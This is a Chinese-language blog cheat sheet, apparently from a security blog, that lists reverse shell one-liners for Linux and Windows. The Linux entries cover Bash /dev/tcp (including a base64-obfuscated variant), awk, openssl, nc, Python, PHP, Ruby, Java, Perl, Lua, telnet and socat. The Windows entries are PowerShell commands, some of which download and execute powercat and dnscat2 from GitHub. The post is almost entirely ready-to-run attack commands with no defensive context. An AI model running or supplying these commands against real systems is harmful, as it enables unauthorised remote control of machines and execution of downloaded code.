反弹Shell命令大全


Linux

  • Bash
bash -i >& /dev/tcp/192.168.1.101/443 0>&1

echo 'bash -i >& /dev/tcp/192.168.1.101/443 0>&1' | /bin/bash

echo -n 'bash -i >&/dev/tcp/192.168.1.109/443 0>&1' | base64

echo YmFzaCAtaSA+Ji9kZXYvdGNwLzE5Mi4xNjguMS4xMDkvNDQzIDA+JjE= | base64 -d | /bin/bash

bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzE5Mi4xNjguMS4xMDkvNDQzIDA+JjE=}|{base64,-d}|{bash,-i}
  • awk
awk 'BEGIN{s="/inet/tcp/0/192.168.99.242/1234";for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}'
  • Openssl
#生成密钥对
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes

#开启监听
openssl s_server -quiet -key key.pem -cert cert.pem -port 81

#反弹shell
mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 192.168.80.137:81 > /tmp/s; rm /tmp/s
  • nc
nc 192.168.1.101 443 -e /bin/bash

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 192.168.37.131 1234 >/tmp/f;
  • Python
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.15.209",4443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
  • PHP
php -r '$sock=fsockopen("192.168.99.242",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
  • Ruby
ruby -rsocket -e'f=TCPSocket.open("192.168.99.242",1234).to_i;exec sprintf("/bin/sh -i <&%d
>&%d 2>&%d",f,f,f)'
  • Java
r = Runtime.getRuntime()

p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])

p.waitFor()
  • Perl
perl -e 'use Socket;$i="192.168.99.242";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.3.205:8123");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
  • Lua
lua -e
"require('socket');require('os');t=socket.tcp();t:connect('192.168.99.242','1234');os.execu
te('/bin/sh -i <&3 >&3 2>&3');"
  • Telnet
telnet 192.168.99.242 1234 | /bin/bash | telnet 192.168.99.242 4321
  • Socat
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:192.168.99.242:1234
服务端执行:ruby dnscat2.rb

客户端执行:./dnscat --dns server=x.x.x.x,port=53 --secret=xxxxx

服务端执行:session -i 1

服务端执行:shell

服务端执行:session -i 2进入shell

Windows

  • Powershell
powershell IEX (New-Object
System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powerca
t/master/powercat.ps1'); powercat -c 192.168.99.242 -p 1234 -e cmd
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('1.117.175.139',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
  • nc
nc.exe 192.168.1.101 443 -e powershell
apt-get install python-impacket
sysctl -w net.ipv4.icmp_echo_ignore_all=1
./run
本地导入:. .\powercat.ps1
远程导入:IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1')

powercat -l -p 4444 -v

powercat -c 192.168.1.1 -p 4444 -ep

ruby dnscat2.rb ttpowercat.test -e open --no-cache

powercat -c 192.168.1.1 -p 53 -dns ttpowercat.test -ep
  • dnscat2
ruby dnscat2.rb test.com

powershell.exe -nop -w hidden -c {IEX(New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/lukebaggett/ dnscat2-powershell/master/dnscat2.ps1'); Start-Dnscat2 -Domain test.com -DNSServer 192.168.58.138 -PreSharedSecret xxxxx}

声明:Hack All Sec的博客|版权所有,违者必究|如未注明,均为原创|本网站采用BY-NC-SA协议进行授权

转载:转载请注明原文链接 - 反弹Shell命令大全


Hacker perspective for security